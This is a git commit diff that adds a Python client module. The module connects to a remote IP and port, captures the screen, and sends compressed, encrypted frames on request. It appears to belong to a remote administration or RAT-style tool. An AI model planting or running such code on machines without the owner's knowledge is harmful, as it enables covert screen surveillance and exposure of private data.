diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:06:25 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:06:25 +0200 |
commit | 18a3d3bc354e667bc58385e59745b82b53695139 (patch) | |
tree | fef56722868ae768b16382aae2f3559ec4bbf370 /Modules/Clients/stream.py |
Diffstat (limited to 'Modules/Clients/stream.py')
-rw-r--r-- | Modules/Clients/stream.py | 57 |
1 files changed, 57 insertions, 0 deletions
diff --git a/Modules/Clients/stream.py b/Modules/Clients/stream.py new file mode 100644 index 0000000..2b06a78 --- /dev/null +++ b/Modules/Clients/stream.py @@ -0,0 +1,57 @@ +import socket +import pickle +import zlib +import time +import cv2 + +from Specific.encrypt import Encryption +from Specific.grabber import Grabber +from ctypes import windll +from sys import exit + +user32 = windll.user32 +user32.SetProcessDPIAware() + + +def Stream(ip, port, encoding): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + g = Grabber() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + while True: + try: + last_time = time.time() + recv_msg = s.recv(1024) + + if new_msg: + msg_len = int(recv_msg[:headersize]) + new_msg = False + + full_msg += recv_msg + + if len(full_msg)-headersize == msg_len: + frame = g.grab() + cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cv2.destroyAllWindows() + exit(0) + except: + exit(0)
\ No newline at end of file |